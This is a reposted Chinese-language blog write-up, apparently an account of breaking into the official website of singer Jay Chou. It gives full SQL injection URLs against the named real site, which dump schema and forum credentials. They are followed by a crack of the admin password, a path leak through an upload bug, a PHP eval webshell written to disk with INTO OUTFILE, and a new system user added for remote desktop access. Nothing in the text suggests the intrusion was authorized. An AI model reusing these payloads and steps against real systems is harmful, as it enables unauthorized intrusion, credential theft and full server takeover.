检测周杰伦官方网站

来源:互联网

某日在cn群里聊天,有朋友丢出一个jay官方网站的注入点,闲着无聊就测试了下。没想到最后轻松的得到了系统权限。在取得webshell过程中遇到点困难,也学到了一点东西。
看注射点,老规矩,先提交个单引号,返回如图1
 

1.jpg

大小: 22.13 K
尺寸: 400 x 284
浏览: 6 次
点击打开新窗口浏览全图

错误提示是
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1


这个提示是很有玄机的,可以看到单引号没有转意,也就是说安全模式没有打开,这为我们后文得到webshell提供了机会。
    下面猜字段吧,体力活的说
http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,2,3,4


2.jpg

大小: 17.41 K
尺寸: 400 x 253
浏览: 5 次
点击打开新窗口浏览全图

很轻松的猜出是四个字段。然后还是按部就班的看用户和权限
http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,2,3,version()


3.jpg

大小: 15.81 K
尺寸: 365 x 296
浏览: 5 次
点击打开新窗口浏览全图

http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,2,3,user()


4.jpg

大小: 16.92 K
尺寸: 400 x 310
浏览: 5 次
点击打开新窗口浏览全图

Oh yeah!!是mysql5的root权限,看到这里我觉得服务器拿下应该问题不大了。
和mssql、oracle、db2等数据库一样,mysql5提供了一个系统数据库:information_schema
在这个数据库里我们可以得到很多信息,包括当前用户权限、当前用户权限下可以访问的数据库、表、列名,因此在sql注射中,导致直接暴区数据库,表列名
开始操作,提交
http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME%20%20from%20information_schema.STATISTICS/*
貌似没有出现想象中的效果


5.jpg

大小: 20.69 K
尺寸: 400 x 253
浏览: 5 次
点击打开新窗口浏览全图

提示

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

看来是union 前后字符集不搭配,只好编码一下了,提交

http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,hex(TABLE_SCHEMA),hex(TABLE_NAME),hex(COLUMN_NAME)%20%20from%20information_schema.STATISTICS/*

 

6.jpg

大小: 17.89 K
尺寸: 400 x 237
浏览: 5 次
点击打开新窗口浏览全图

这次正常了,连上我自己的mysql,将16进制的编码还原
mysql> select 0x6A6179776562;
+----------------+
| 0x6A6179776562 |
+----------------+
| jayweb        |
+----------------+
1 row in set (0.00 sec)
mysql> select 0x41646D696E5F4964;
+--------------------+
| 0x41646D696E5F4964 |
+--------------------+
| Admin_Id          |
+--------------------+
1 row in set (0.00 sec)
mysql> select 0x61646D696E;
+--------------+
| 0x61646D696E |
+--------------+
| admin        |
+--------------+
1 row in set (0.00 sec)


这里表名出来了,是admin,但是没有暴出密码字段名,我们可以通过使用limit语法逐个表和字段查询,但是数据库很多表的话,不晓得什么时候才能摸清楚。刚好网站上有个phpbb的论坛,还是通过跨库查论坛数据库吧。
看了下,管理员有一个admin一个webmater,看样子webmater比较活跃,就查他的密码了。
提交

http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,2,username,user_password%20%20from%20phpbb_users%20where%20user_id=66333


6.jpg

大小: 17.89 K
尺寸: 400 x 237
浏览: 5 次
点击打开新窗口浏览全图

http://www.cmd5.com/上查询出来密码是 :042990
登陆后台去参观下吧 :)

 

8.jpg

大小: 33.18 K
尺寸: 400 x 310
浏览: 5 次
点击打开新窗口浏览全图

在后台琢磨了半天,尝试了添加上传类型等办法都没能得到webshell,难道只能渗透到这个程度吗?
喝 杯水冷静了下,想起来我已经知道它的安全模式是关闭的而且我们有足够的权限,这意味着什么?嘿嘿,只要知道路径就能通过注射导出一个webshell。现 在的问题就是得到路径了,利用uploadpic.php中getimagesize()函数的小bug,先在后台添加上传类型 text/asa,然后到前台传图片的地方传个asa文件,这个函数无法读取起大小,暴出错误时泄露了绝对路径


9.jpg

大小: 17.76 K
尺寸: 400 x 301
浏览: 5 次
点击打开新窗口浏览全图

下面最辉煌的时刻终于要到来了,构造导出webshell的语句
http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,2,'<?eval($_POST[cmd])?>',4%20from%20mysql.user%20into%20outfile%20'D:\\website\\jayweb\\forum\\userpix\\cnsst.php'/*
成功了!!


10.jpg

大小: 14.73 K
尺寸: 400 x 174
浏览: 5 次
点击打开新窗口浏览全图

用客户端连上,传了个大马


11.jpg

大小: 22.89 K
尺寸: 390 x 364
浏览: 5 次
点击打开新窗口浏览全图

由于编码问题看着有点乱,一样使用,执行命令看看

12.jpg

大小: 18.91 K
尺寸: 400 x 243
浏览: 5 次
点击打开新窗口浏览全图

好象服务器的php是系统权限的,添加了一个用户

13.jpg

大小: 23.29 K
尺寸: 308 x 313
浏览: 5 次
点击打开新窗口浏览全图

连上3389参观下闪人


14.jpg

大小: 10.3 K
尺寸: 300 x 235
浏览: 5 次
点击打开新窗口浏览全图

文章到这里就结束了,没什么技术含量。主要还是服务器安全做的不好,最后才能得到最高权限。

Leave a comment

Your comment

Why not Login? Sign up now! »